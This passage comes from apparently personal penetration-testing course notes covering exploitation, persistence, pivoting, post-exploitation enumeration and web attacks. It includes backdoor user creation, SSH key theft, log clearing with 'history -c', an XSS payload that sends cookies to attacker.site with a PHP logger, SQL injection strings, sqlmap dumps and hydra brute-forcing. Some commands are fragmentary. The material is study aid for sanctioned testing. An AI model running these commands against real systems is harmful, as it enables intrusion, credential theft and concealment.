portfwd add -l <port_attacker> -p <port_vectim> -r <vectime_2>
42
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
persistence:
create new user for backdor
useradd -m <name> -s /bin/bash
add user in group root
usermod -aG root <user>
usermod -u <id> <user>
search platform:linux persistence
use post/linux/manage/sshkey_persistence
set CREATESSHFOLDER true
loot
chmod 0400 ssh_key
ssh -i ssh_key root@<ip>
43
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
8. explotation :
a. banner grabbing:
ls -la /usr/share/nmap/scripts | grep banner
nc <ip> <port>
b. searchsploit:
first thing , we should be to update the exploitdb : sudo apt-get update && apt-get install exploitdb -y
and update searchsploit : searchsploit -u
for use searchsploit the first we searched for version of service .then , we found the id of exploit file and
we will search with arg -m and id : searchsploit -m <id> , we will find the path of file
we can use -c or -t for search the available vulnerable service , also we can -e for search the
vulnerability in the system
the first things we will install mingw-w64 and gcc : sudo apt-get install mingw-w64, gcc
we can use this command for compilation or following the steps of documentation file like :
d. netcat :
nc -nlvp 1234
this’s cheat sheet for reverse shell : Reverse Shell Cheat Sheet - Payloads All The Things
(swisskyrepo.github.io)
44
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
enumeration
brute force
login in ftp sever
generate payload by msfvenom , put payload , setup handler .
enumeration
brute force
ssh_login
for mysql
enum
brute force
mysql -u <user> -p <password> -h <host>
show database;
use <database> ;
show tables;
select * from <table>;
UPDATE wp_users SET user_pass = MD5('password123') WHERE user_login = 'admin';
http://<TARGET-IP>/8585/wordpress/wp-admin
45
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
9. Post explotation :
1. Windows Local Enumeration:
The most command:
getuid
sysinfo
hostname
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledON
getprivs
search logged_on
whoami /priv
query user
net users
net user administrator
net localgroup
ipconfig /all
route print
arp -a
netstat -ano
netsh firewall show state
netsh advfirewall firewall state show
ps
net start
wmic service list brief
tasklist /SVC
schtasks /query /fo LIST
Copy the script ,then past it in notepad and save it with extension ps1 , go to tmp directory or create it
In upload the script : powershell -ExecutionPolicy bypass -File ./<file>.ps1 -OutputFile <file>.txt
46
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
/bin/bash -i
hostname
cat /etc/issue
cat /etc/*release
uname -a
unmae -r
env
lscpu
free -h
df -h
dpkg – l
groups
cat /etc/passwd
useradd bob -s /bin/bash
useradd -m bob -s /bin/bash
usemod -aG root bob
lastlog
ifconfig
netstat
route
cat /etc/network
ip a s
cat /etc/hostname
cat /etc/resolv.conf
arp -a
ps
pgrep <service>
pas aux
top
crontab -l
ls -a /etc/cron*
search enum_config
search enum_network
47
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
search enum_system
search checkvm
Copy the script ,then past it in notepad and save it with extension sh , go to tmp directory or create it
to get bash shell we can use python : python -c ‘import pty; pty.spawn(“/bin/bash”)’
48
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
use exploit/windows/misc/hta_server
6. Windows Persistence:
Search persistence
Run getgui -e -u <user> -p <password>
7. linux Persistence:
scp student@<ip>:~/.ssh/id_rsa .
chmod 400 id_rsa
For crack the hash , we can use john or hashcat for get password :
10. pivoting :
run autoroute -s ip/subnet
run autoroute -p
search port scan
portfwd add -l 1234 -p 80 -r <ip2>
nmap -sV -p 1234 localhost
49
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
history -c
The most common HTTP methods are: • GET • POST • HEAD • PUT • DELETE
GET is used to request a resource. When a user wants to open a web page, the browser sends a GET
request.
POST is used to submit HTML form data. POST parameters must be in the message body.
HEAD is very similar to GET, as it asks just headers of the response instead of the response body.
PUT is used to upload a file to the server. As you can imagine, it is a very dangerous feature if it is allowed
and misconfigured.
DELETE is used to remove a file from the server; this is another feature that must be configured wisely as
a misused DELETE leads to denial of service and data loss.
OPTIONS is used to query the web server for enabled HTTP Verbs.
wc <file>
dibuster
dirb <domine>
curl -x get <ip>
curl -I <ip>
curl -X OPTIONS -v
curl -X POST -d ‘name=<>&password<>’ -v
curl -X PUT <site> –upload-file <file>
curl -X DELETE <site>
by using burpsuite , after setup it , in proxy request click right and send to repeater for edit the request
Cookie: c=cval
Content-Length: 17
50
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
XSS vulnerabilities happen when a web application uses unfiltered user input to build the output content
displayed to its end users; this lets an attacker control the output HTML and JavaScript code, thus
attacking the application users.
To exploit an XSS vulnerability that you find, you need to know the type of cross-site scripting attack you
are carrying out. Cross-site scripting vulnerabilities can be reflected, persistent or DOM Based.
Reflected attacks:
happen when the malicious payload is carried inside the request that the browser of the victim sends to
the vulnerable website. They could be triggered by posting a link on a social network or via a phishing
campaign. When users click on the link, they trigger the attack.
The search form XSS we have seen in the previous example is a reflected cross-site scripting vulnerability.
In that example, we could craft a link to the search page and embed the payload in the find GET
parameter. http://victim.site/search.php?find=
This is a very dangerous form of XSS because, with a single attack, the hacker can exploit multiple web
application users. If an attacker manages to write a malicious payload (HTML or JavaScript) on a social
network page, every user visiting that page will run the payload!
The most common vector for persistent attacks are HTML forms that submit content to the web server
and then display that content back to the users. Elements such as comments, user profiles, and forum
posts are a potential vector for XSS attacks.
For example, you can display the current cookies with <script>alert(document.cookie)</script>
With the following code, you can send cookies content to an attacker-controlled site:
<script>
i.src="http://attacker.site/log.php?q="+document.cookie;
</script>
51
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
"http://attacker.site/log.php?q="+document.cookie
The log.php script saves the cookie in a text file on the attacker.site:
<?php
$filename="/tmp/log.txt";
$fp=fopen($filename, 'a');
$cookie=$_GET['q'];
fwrite($fp, $cookie);
fclose($fp);
?>
https://github.com/payloadbox/xss-payload-list
<script>document.body.innerhtml=”<b><h1>hacked</h1></b>”</script>
A SQL statement looks like the following: SELECT name, description FROM products WHERE id=9;
You also need to know the UNION command, which performs a union between two results:
The previous examples show how to use SQL when querying a database directly from its console. To
perform the same tasks from within a web application, the application must:
• Retrieve the results Then, the application logic can use the results.
The following code contains a PHP example of a connection to a MySQL database and the execution of a
query:
$dbhostname='1.2.3.4';
52
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
$dbuser='username';
$dbpassword='password';
$dbname='database';
$query = "SELECT Name, Description FROM Products WHERE ID='3' UNION SELECT Username,
display_results($results);
However, most of the time queries are not static, they are indeed dynamically built by using users' inputs.
Here you can find a vulnerable dynamic query example:
The dynamic query we see below: SELECT Name, Description FROM Products WHERE ID='$id';
But, what if an attacker crafts a $id value which can change the query to something like: ' OR 'a'='a
c. ZAPorxy:
The first things in zaporxy ,we will ad the ip in the manulle exploit and launch the browser
,after that , we can to specific url and add it ,
Right click on the POST request, navigate to "Include in Context" and select on "Default
Context" ,
Click on the Authentication tab under Default Context menu and select "Form-based
Authentication" for the selected method.
Set the Username parameter to "login" and Enter "Login" in the "Regex pattern identified
in Logged Out response messages".
Click on the "Add" button and add a new user with username "bee" and password "bug"
Right click on the Site (http://<ip>), navigate to "Include in Context" and select on "Default
Context
Click on the "OK" button. Right click on the Site (http://<ip>), navigate to Attack and select
"Spider".
A dialog box will appear, select the "bee" user and click on "Start Scan" button.
Right click on the Site (http://<ip>), navigate to Attack and select "Active Scan".
After the scan completes, click on the "Alerts" tab
d. nikito:
nkito -h http://<ip>
53
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
e. sqlmap:
sqlmap -u "<page>" --cookie "<cookie>" -p <variable>
Use the sqlmap to get a list of databases present on the database server.
Use the sqlmap to get the list of columns in the users table of bWAPP database
Use the sqlmap to dump password and email for admin from the users table. Press ‘n’ twice when
prompted:
54
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
f. XSSer:
xsser --url 'http://<url> -p '<parrametre>
Feed the url and cookie to the xsser tool for scanning. Replace hello string with XSS, this is done so that
XSSer will substitute the payload in place of the value "XSS"
g. attacking form:
hydra -L usernames -P passwords <IP> http-post-form
"/login.php:login=^USER^&password=^PASS^&security_level=0&form=submit:Invalid
credentials or user not activated!"
Click on Start Burp , end the intercepted request to intruder. Click on the Load button to load
the password list located at wordlist ,
55
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
What I like to do is upload the shell script called linpeas. We’re gonna upload that script into the victim
machine and make the quick scan using python simple server.
/opt/PEAS/linPEAS/linpeas.sh
56
Downloaded by Wokwok (werkingpcrequest@gmail.com)